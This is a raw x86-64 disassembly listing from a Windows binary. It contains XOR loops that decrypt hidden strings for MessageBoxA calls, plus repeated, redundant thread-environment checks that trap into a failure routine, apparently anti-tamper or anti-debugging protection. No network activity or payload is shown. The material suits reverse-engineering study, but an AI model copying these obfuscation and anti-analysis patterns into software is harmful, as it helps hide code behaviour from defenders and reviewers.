mov byte [rbp + 0x379], r15b
movdqa xmm0, xmmword [0x1400ea470]
movdqu xmmword [rbp + 0x758], xmm0
mov dword [rbp + 0x768], 0xd1e46194
mov word [rbp + 0x76c], 0xa1
mov r9, r15
movabs r8, 0x22b0fce7ea
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r10, 0x4561f9cfd4
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r9 + 0x758]
xor dil, r9b
mov byte [rbp + r9 + 0x758], dil
inc r9
add r8, r12
add r11, 0x15
cmp r8, r10
jb 0x14003d5a1
mov byte [rbp + 0x76d], r15b
xor r9d, r9d
lea r8, [rbp + 0x368]
lea rdx, [rbp + 0x758]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x18]
cmp rax, r14
jne 0x14003d6e5
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0x18ff88d1
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0x333c2c22
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0xc6f3f7f8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003d6c5
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003d6c5
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003d6e5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r14
jne 0x14003dab1
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003d773
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003d773
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003dab1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x14003d84e
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0x18ff88d1
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003d82e
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003d82e
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003d84e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
movdqa xmm0, xmmword [0x1400ea310]
movdqu xmmword [rbp + 0x380], xmm0
mov word [rbp + 0x390], 0xb2
mov rdi, r15
movabs rbx, 0x1a6e778c1
mov qword [rsp + 0x20], rbx
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x380]
lea rcx, [rbp + 0x380]
call fcn.14003dbe0
xor al, dil
mov byte [rbp + rdi + 0x380], al
inc rdi
cmp rdi, 0x11
jb 0x14003d874
mov byte [rbp + 0x391], r15b
movdqa xmm0, xmmword [0x1400ea410]
movdqu xmmword [rbp + 0xcd8], xmm0
movdqa xmm1, xmmword [0x1400ea340]
movdqu xmmword [rbp + 0xce8], xmm1
movdqa xmm0, xmmword [0x1400ea4b0]
movdqu xmmword [rbp + 0xcf8], xmm0
mov dword [rbp + 0xd08], 0x347cbf65
mov dword [rbp + 0xd0c], 0xd027f96f
mov dword [rbp + 0xd10], 0x86d4b1d5
mov word [rbp + 0xd14], 0x5a
mov rdi, r15
mov qword [rsp + 0x20], rbx
mov r9d, 0x3d
mov r8, rdi
mov dl, byte [rbp + rdi + 0xcd8]
lea rcx, [rbp + 0xcd8]
call fcn.14003dc54
xor al, dil
mov byte [rbp + rdi + 0xcd8], al
inc rdi
cmp rdi, 0x3d
jb 0x14003d909
mov byte [rbp + 0xd15], r15b
xor r9d, r9d
lea r8, [rbp + 0x380]
lea rdx, [rbp + 0xcd8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x14003da07
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003d9e7
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003d9e7
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003da07
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x14003dab1
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003da91
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003da91
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003dab1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov ecx, 1
call fcn.1400a3dd8
int3